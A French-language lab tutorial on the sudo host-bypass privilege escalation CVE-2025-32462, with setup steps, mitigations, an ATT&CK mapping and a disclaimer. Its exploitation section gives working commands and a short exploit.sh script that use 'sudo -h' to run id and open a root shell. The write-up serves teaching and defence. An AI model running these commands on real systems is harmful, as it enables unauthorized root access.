CVE-2025-32462 – Élévation de privilèges par contournement du nom d'hôte sudo

Table des matières

1. Vue d'ensemble
2. Détails de la vulnérabilité
3. Impact
4. Environnement de laboratoire
5. Vérification de la version vulnérable
6. Utilisateur et configuration sudoers
7. Déroulement de l'exploitation
8. Résumé de la preuve de concept
9. Pourquoi Ubuntu n'est pas vulnérable
10. Atténuation
11. Correspondance MITRE ATT&CK
12. Références
13. Avertissement

Vue d'ensemble

CVE-2025-32462 est une vulnérabilité d'élévation de privilèges locale dans sudo qui permet à un utilisateur faiblement privilégié d'exécuter des commandes en tant que root en abusant des règles sudo restreintes au nom d'hôte. Le problème réside dans la manière dont sudo gérait historiquement l'option -h (hôte) lors des contrôles d'autorisation.

Lorsqu'une règle sudoers est restreinte à un nom d'hôte spécifique, sudo ne devrait autoriser l'exécution que si le nom d'hôte du système correspond à la règle. En raison d'une logique défectueuse, les versions concernées faisaient confiance à un nom d'hôte fourni par l'utilisateur via sudo -h, permettant aux attaquants de contourner entièrement la restriction.

Détails de la vulnérabilité

• Identifiant CVE : CVE-2025-32462
• Type : Élévation de privilèges locale
• Composant concerné : sudo
• Vecteur d'attaque : Local
• Privilèges requis : Faibles (utilisateur non‑sudo)
• Interaction de l'utilisateur : Aucune

Cause racine

sudo permettait à l'argument -h <hostname> d'influencer les décisions d'autorisation. Dans les versions vulnérables, le nom d'hôte fourni était pris en compte lors de l'évaluation des règles sudoers, au lieu d'être strictement validé par rapport au véritable nom d'hôte du système.

Par conséquent, les restrictions sudo basées sur l'hôte pouvaient être contournées.

Impact

En cas d'exploitation réussie, un attaquant local peut :

• Exécuter des commandes arbitraires en tant que root
• Compromettre entièrement le système
• Contourner les limites de sécurité administratives

Dans les environnements réels, cette vulnérabilité est particulièrement dangereuse dans :

• Les systèmes multi-utilisateurs
• Les environnements durcis utilisant des règles sudo spécifiques à l'hôte
• Les hôtes bastion ou de rebond

Environnement de laboratoire

⚠️ Remarque : Les versions modernes d'Ubuntu et de Debian intègrent des correctifs rétroportés tout en conservant des chaînes de version similaires. Cette vulnérabilité ne peut pas être reproduite sur les systèmes corrigés.

Étape 1 – Vérifier la version vulnérable de sudo

sudo --version

Résultat attendu (vulnérable) :

Sudo version 1.9.5p2

Étape 2 – Créer un utilisateur faiblement privilégié

sudo useradd -m attacker
sudo passwd attacker
groups attacker

Résultat attendu :

attacker : attacker

L'utilisateur ne doit pas appartenir au groupe sudo.

Étape 3 – Configurer une règle sudoers vulnérable

Modifier sudoers en toute sécurité :

sudo visudo

Ajouter la ligne suivante :

attacker prod-server = (root) ALL

• prod-server est un faux nom d'hôte
• Le véritable nom d'hôte du système doit être différent

Vérifier :

sudo -l -U attacker

Résultat attendu :

User attacker may run the following commands on prod-server:
    (root) ALL

Étape 4 – Confirmer que sudo normal est refusé

Changer d'utilisateur :

su - attacker

Tenter sudo normalement :

sudo id

Résultat attendu :

attacker is not allowed to run sudo on <hostname>

Étape 5 – Exploitation (CVE-2025-32462)

Déclencher la vulnérabilité :

sudo -h prod-server id

Sortie d'une exploitation réussie :

uid=0(root) gid=0(root) groups=0(root)

Ouvrir un shell root :

sudo -h prod-server /bin/bash

Vérifier :

id

Résumé de la preuve de concept

Script de PoC automatisé (optionnel)

#!/bin/bash
echo "[*] Attempting CVE-2025-32462 exploitation"
sudo -h prod-server id

Enregistrer sous exploit.sh, le rendre exécutable, puis l'exécuter en tant qu'utilisateur attacker :

chmod +x exploit.sh
./exploit.sh

Cela confirme une élévation de privilèges réussie.

Pourquoi Ubuntu n'est pas vulnérable

Les versions modernes d'Ubuntu semblent inclure des versions de sudo qui se situent dans la plage affectée. Cependant, Ubuntu a rétroporté le correctif de sécurité pour CVE‑2025‑32462 sans modifier la chaîne de version amont.

Par conséquent :

• L'option sudo -h n'influence plus les contrôles d'autorisation
• La falsification du nom d'hôte est correctement rejetée
• La vulnérabilité ne peut pas être reproduite malgré des numéros de version similaires

Cela souligne l'importance de valider le statut de vulnérabilité à l'aide de tests comportementaux, et non uniquement des chaînes de version.

Atténuation

• Mettre à niveau sudo vers une version corrigée
• Supprimer les règles sudo restreintes à l'hôte lorsque c'est possible
• Surveiller les tentatives d'élévation de privilèges locales

Correspondance MITRE ATT&CK

• TA0004 – Élévation de privilèges
• T1548.003 – Abus du mécanisme de contrôle d'élévation (sudo)

Références

• Avis CVE‑2025‑32462
• Annonces de sécurité du projet sudo
• Suivi de sécurité Debian

Avertissement

Ce tutoriel est destiné uniquement à la recherche en sécurité à des fins pédagogiques et défensives. Ne testez pas cette vulnérabilité sur des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas l'autorisation explicite d'évaluer.